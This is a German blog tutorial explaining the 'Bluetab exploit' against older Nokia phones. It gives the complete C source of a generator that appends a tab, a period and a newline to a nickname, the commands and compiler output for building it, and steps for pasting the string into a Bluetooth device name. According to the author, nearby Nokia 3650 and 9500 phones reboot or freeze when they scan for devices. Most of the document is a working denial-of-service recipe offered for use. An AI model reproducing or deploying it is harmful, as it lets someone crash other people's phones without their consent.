Tabulator im Bluetoothnamen und dessen Folgen

Viele Handys haben Probleme, wenn es um die Darstellung von Tabspace geht. Dieser Fehler wird vom sogenannten Bluetab-Exploit ausgenutzt und hier in diesem Versuch getestet.

Was wird benötigt?
– Ein C++ Compiler
– Ein Datenkabel, Bluetoothdongle oder Infrarot
– Ein Mobiltelefon, welches Copy&Paste unterstützt
– Eventuell noch ein weiteres Handy um den Exploit zu testen

Anleitung
Als erstes benötigt man einen C++ Compiler. Ich habe die kostenlose Version von Borland genommen.
Eine Anleitung wie er funktioniert gibt es hier: http://cplus.kompf.de/artikel/bcc32.html.

Dann legen wir eine neue Text-Datei mit dem Namen bluetab.c im Bin-Verzeichnis vom Borland Compiler an (In meinem Fall ist das C:\Borland\BCC55\Bin).
Diese Datei bearbeiten wir nun und füllen sie mit folgendem Code:

#include <stdio.h>
#define  tab1 0x09
#define  tab2 0x2E
#define  dot1 0x0A

int main(int argc,char *argv[])
{

FILE *bluetab;

if(argc < 2)
{
msgm();
printf(„Useage : ./bluetab <nickname>\n“);
return 0;
}
else
{
msgm();
printf(„bluetab.txt file created with your nickname. \n“);
}

bluetab = fopen(„bluetab.txt“,“w“);
if(!bluetab)
{
msgm();
printf(„Some kind of file error!\n“);
return 0;
}

fprintf(bluetab,“%s%c%c%c“,argv[1],tab1,tab2,dot1);
fclose(bluetab);
return 0;

}

msgm()
{

printf(“ ——————————- \n“);
printf(“     Nokia Bluetab Exploit       \n“);
printf(“       found & coded by          \n“);
printf(“       Qnix@bsdmail.org          \n“);
printf(“    Tutorial by domi2001.de      \n“);
printf(“ ——————————- \n\n“);
}

Alternativ könnt ihr die fertige Datei auch unter folgendem Link downloaden:
http://domi.planet-surfeu.de/wp-content/uploads/2008/08/bluetab.c

Nun können wir das Programm über die DOS-Konsole mit folgeden Befehlen kompilen:

cd C:\Borland\BCC55\Bin
bcc32 bluetab.c

Wenn alles geklappt hat, bekommt man folgendes Ergebnis:

C:\Dokumente und Einstellungen\Domi>cd C:\Borland\BCC55\Bin

C:\Borland\BCC55\Bin>bcc32 bluetab.c
Borland C++ 5.5.1 for Win32 Copyright (c) 1993, 2000 Borland
bluetab.c:
Warning W8065 bluetab.c 13: Call to function ‚msgm‘ with no prototype in functio
n main
Warning W8065 bluetab.c 19: Call to function ‚msgm‘ with no prototype in functio
n main
Warning W8065 bluetab.c 26: Call to function ‚msgm‘ with no prototype in functio
n main
Warning W8070 bluetab.c 46: Function should return a value in function msgm
Turbo Incremental Link 5.00 Copyright (c) 1997, 2000 Borland

C:\Borland\BCC55\Bin>

So, jetzt ist in dem selben Verzeichnis die Datei „bluetab.exe“ erzeugt worden. Nun geben wir in der DOS-Konsole bluetab.exe ein. Wenn man daraufhin

Nokia Bluetab Exploit
found & coded by
Qnix@bsdmail.org

Useage : ./bluetab <nickname>

erhält, hat das compilen geklappt. Nun können wir über

C:\Borland\BCC55\Bin\bluetab.exe Gewünschter_Username

eine Textdatei namens bluetab.txt erzeugen lassen.



Diese Datei ziehen wir dann anschließend auf das Handy. Ich benutze für dieses Tutorial meinen Nokia 9500 Communicator. Natürlich kann man auch jedes andere Gerät verwenden.

Nun öffnen wir diese Textdatei auf dem Handy mithilfe eines Dateimanagers. Anschließend markieren wir den Inhalt und kopieren ihn (Ich kann das auf dem Communicator mit Strg + A und Strg + C machen).


Als nächstes gehen wir in das Bluetoothmenü und fügen den kopierten Inhalt in dem Feld für den Bluetoothnamen ein.


Das Markieren und Einfügen geht bei Geräten von Nokia mit dem Betriebssystem Symbian und der S60-Oberfläche wie folgt:

Markieren Sie den Text mit der Navigationstaste. Zum Kopieren drücken Sie die Bearbeiten-Taste und halten diese einen Moment gedrückt. Zum Einfügen des Texts drücken Sie erneut die Bearbeiten-Taste.

Als Testgerät verwende ich ein Nokia 3650 (Symbian S60 v6.1).
Wenn man mit diesem jetzt nach Bluetoothgeräten sucht, so startet das 3650 einfach neu.

Andere Mobiltelefone, so z.b. der Nokia 9500 Communicator, frieren einfach ein.

Über den Autor

Mein Name ist Dominique Dewitt. Ich bin Fachinformatiker und Buchautor. Schon während meiner Schulzeit schrieb ich gerne Softwarereviews für bekannte Webseiten, übersetzte zahlreiche Smartphone-Apps, wie z.B. BT-Info und veröffentlichte schließlich im Alter von 18 Jahren mein erstes Fachbuch.

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